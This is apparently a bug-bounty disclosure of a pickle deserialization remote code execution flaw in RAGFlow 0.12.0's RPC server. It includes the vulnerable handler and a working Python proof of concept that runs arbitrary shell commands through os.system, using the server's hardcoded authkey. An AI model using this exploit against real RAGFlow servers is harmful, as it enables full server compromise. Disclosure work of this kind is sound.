# RAGFlow RPC Server RCE in [infiniflow/ragflow](https://github.com/infiniflow/ragflow)

Duplicate

Reported on Oct 29th 2024

---

# Description

RAGFlow can load local models through RPCServer. The RPC Server of RAGFlow is implemented by transmitting pickle serialized data through the multiprocessing module. Then Ragflow did not perform security checks on the data that was deserialized by pickle, resulting in pickle deserialization vulnerability. RCE obtains server permissions.

# Proof of Concept

Source: [https://github.com/infiniflow/ragflow/blob/v0.12.0/rag/llm/rpc_server.py](https://github.com/infiniflow/ragflow/blob/v0.12.0/rag/llm/rpc_server.py)

The handle_connection method performs pickle deserialization on the data received by rpcserver without any security processing, resulting in a deserialization vulnerability.

```python
//  /rag/llm/rpc_server.py
def handle_connection(self, connection):
        try:
            while True:
                # Receive a message
                func_name, args, kwargs = pickle.loads(connection.recv())
                # Run the RPC and send a response
                try:
                    r = self._functions[func_name](*args, **kwargs)
                    connection.send(pickle.dumps(r))
                except Exception as e:
                    connection.send(pickle.dumps(e))
        except EOFError:
            pass
```

## Exploit:

Demo: the example of RAGFlow server-side loading the chatglm-6b model locally on the server through RPC Server.

1. RAGFlow loads the model through the following code:

```bash
   $python rag_server.py --model_name /chatglm-6b
   ```

2. The attacker's POC is as follows rpc_exp.py:

```python
   // POC
   from multiprocessing.connection import Client
   import pickle
   import sys
   import base64

command = sys.argv[1]
   class rce(object):
       def __reduce__(self):
           import os
           return (os.system,(command,))
   conn = Client((‘localhost’, 7860), authkey=b’infiniflow-token4kevinhu’)
   conn.send(pickle.dumps(rce()))
   result = conn.recv()
   ```

3. The attacker runs rpc_exp.py and obtains RAGFlow server permissions.

```bash
   $python rpc_exp.py ‘touch /tmp/thisisRCE’
   ```

# Impact

RCE obtains RAGFlow server permissions.

Vulnerability Type

[CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)

Severity

Critical (9.8)

Attack vector

Network

Attack complexity

Low

Privileges required

None

User interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

High

[Open in visual CVSS calculator](https://cvss.js.org/#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Registry

Pypi

Affected Version

0.12.0

Visibility

Public

Status

Duplicate

Disclosure Bounty

$900

Fix Bounty

$225

Found by

[K.](/content/users/happyhacking-k/index.html) @happyhacking-k

LIGHTWEIGHT
